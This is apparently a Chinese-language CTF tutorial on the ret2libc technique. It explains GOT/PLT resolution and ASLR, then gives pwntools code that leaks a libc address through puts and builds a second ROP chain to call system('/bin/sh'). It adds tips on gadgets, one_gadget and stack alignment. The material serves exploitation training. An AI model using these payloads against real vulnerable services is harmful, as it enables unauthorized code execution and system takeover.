攻击原理

ret2libc 的提出背景

当程序开启了 NX(No Execute)保护时,栈被标记为不可执行,无法直接在栈上执行 shellcode。ret2text 技术也失效了,因为程序中没有现成的后门函数。

ret2libc(Return to libc) 技术应运而生,它利用程序已经加载到内存中的 libc 动态链接库中的函数(如 systemexecve)来执行命令,从而绕过 NX 保护。

libc 动态链接机制

  1. GOT 表(Global Offset Table)

    • 存储外部函数(如 putsprintf)的真实地址
    • 在程序运行时由动态链接器填充
    • 每个外部函数在 GOT 表中都有一个条目
  2. PLT 表(Procedure Linkage Table)

    • 提供外部函数的跳转入口
    • 第一次调用时,通过 PLT 跳转到动态链接器解析函数地址
    • 解析后的地址写入 GOT 表,后续直接跳转
  3. libc 基地址

    • libc 库在程序运行时被加载到内存中
    • 由于 ASLR(Address Space Layout Randomization)的存在,每次运行基地址不同
    • 但 libc 内部的函数相对偏移是固定的

ret2libc 攻击原理

ret2libc 攻击分为两个阶段:

第一阶段:泄露 libc 基地址

  1. 利用栈溢出调用输出函数

    • 通过栈溢出,将返回地址覆盖为 puts@pltprintf@plt
    • puts@got 作为参数传入,泄露 GOT 表中的真实地址
    • 例如:payload1 = 填充 + pop_rdi_ret + puts_got + puts_plt + main_addr
  2. 计算 libc 基地址

    • 获取 puts 的真实地址后,通过公式计算:
    • libc_base = puts_real_addr - puts_offset
    • puts_offset 可以通过 libc.symbols['puts'] 或工具查询得到

第二阶段:调用 system(“/bin/sh”)

  1. 计算目标函数地址

    • system_addr = libc_base + system_offset
    • bin_sh_addr = libc_base + bin_sh_offset(或通过 next(libc.search(b'/bin/sh')) 查找)
  2. 构造 ROP 链

    • 64位系统:payload2 = 填充 + pop_rdi_ret + bin_sh_addr + system_addr
    • 32位系统:payload2 = 填充 + system_addr + 返回地址 + bin_sh_addr
  3. 执行 system 函数

    • 通过栈溢出覆盖返回地址,跳转到 system 函数
    • system("/bin/sh") 执行后获得 shell

攻击流程图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
第一次栈溢出

调用 puts(puts_got) → 泄露 puts 的真实地址

返回 main 函数(重新获得控制权)

计算 libc_base = puts_addr - puts_offset

计算 system_addr = libc_base + system_offset
计算 bin_sh_addr = libc_base + bin_sh_offset

第二次栈溢出

调用 system("/bin/sh") → 获得 shell

关键要点

  • 需要两次栈溢出:第一次泄露地址,第二次执行 system

  • 需要返回 main:第一次溢出后需要返回到 main 函数,以便进行第二次溢出

  • Gadget 查找:需要找到 pop rdi; ret 等 ROP gadget 来设置函数参数

  • ASLR 绕过:通过泄露一个 libc 函数地址,可以计算出整个 libc 的基地址

例题

思路总结

ret2libc 是绕过 NX 保护的重要技术,通过利用程序已加载的 libc 库中的函数来执行命令。核心思路是"泄露-计算-利用"。

攻击步骤

  1. 检查程序保护机制

    1
    checksec ./binary
    • 确认开启了 NX 保护(栈不可执行)
    • 确认没有 PIE 或可以泄露地址绕过 PIE
    • 确认没有 canary 或可以泄露 canary
  2. 分析程序漏洞

    • 寻找栈溢出漏洞点(gets、scanf 等危险函数)
    • 确认可以多次利用(需要两次栈溢出)
    • 查找程序中可用的函数(puts、printf、write 等用于泄露)
  3. 查找必要的 ROP Gadget

    1
    2
    3
    rop = ROP(elf)
    pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] # 64位
    # 或使用 ROPgadget 工具
    • 64位:需要 pop rdi; ret 来设置第一个参数
    • 32位:参数通过栈传递,直接构造即可
  4. 第一次栈溢出:泄露 libc 地址

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    # 构造 payload
    payload1 = b'A' * offset
    payload1 += p64(pop_rdi) # pop rdi; ret
    payload1 += p64(elf.got['puts']) # puts 的参数:puts_got 地址
    payload1 += p64(elf.plt['puts']) # 调用 puts 泄露地址
    payload1 += p64(elf.symbols['main']) # 返回 main,准备第二次溢出

    # 发送并接收泄露的地址
    io.sendline(payload1)
    puts_addr = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
  5. 计算 libc 基地址和目标函数地址

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    # 方法1:使用 LibcSearcher(需要知道 libc 版本)
    libc = LibcSearcher('puts', puts_addr)
    libc_base = puts_addr - libc.dump('puts')
    system_addr = libc_base + libc.dump('system')
    bin_sh_addr = libc_base + libc.dump('str_bin_sh')

    # 方法2:使用本地 libc(如果题目提供了 libc.so)
    libc = ELF('./libc.so.6')
    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']
    bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
  6. 第二次栈溢出:执行 system(“/bin/sh”)

    1
    2
    3
    4
    5
    6
    7
    payload2 = b'A' * offset
    payload2 += p64(pop_rdi) # pop rdi; ret
    payload2 += p64(bin_sh_addr) # system 的参数:"/bin/sh" 的地址
    payload2 += p64(system_addr) # 调用 system

    io.sendline(payload2)
    io.interactive()

关键技巧

  1. 泄露函数的选择

    • 优先选择 putsprintfwrite 等输出函数
    • 确保这些函数在程序中已被调用(GOT 表已初始化)
    • 注意接收泄露数据时的格式(可能需要 recvuntilrecvline
  2. 返回地址的选择

    • 第一次溢出后应返回到 main 函数,以便进行第二次溢出
    • 也可以返回到 vuln 函数或其他存在漏洞的函数
    • 确保返回后程序不会退出
  3. libc 版本确定

    • 如果题目提供了 libc.so,直接使用
    • 如果没有,可以通过泄露多个函数地址,使用 LibcSearcher 或在线工具(如 libc.rip)查询
    • 不同版本的 libc 函数偏移不同,必须匹配正确
  4. 栈对齐问题

    • 64位系统调用函数时要求栈16字节对齐
    • 如果直接跳转导致未对齐,可以在 system_addr 前加一个 ret gadget
  5. onegadget 利用

    • 某些情况下,libc 中存在可以直接执行 execve("/bin/sh") 的 onegadget
    • 使用 one_gadget 工具查找:one_gadget libc.so.6
    • 如果条件满足,可以直接跳转到 onegadget,无需构造参数

常见问题

  • 泄露的地址不正确:检查接收数据的格式,可能需要 ljust(8, b'\x00') 补齐

  • libc 版本不匹配:通过泄露多个函数地址确定正确的 libc 版本

  • 栈对齐失败:在关键跳转前添加 ret gadget 进行栈对齐

  • 无法返回 main:检查 main 函数地址是否正确,或使用其他可重复利用的函数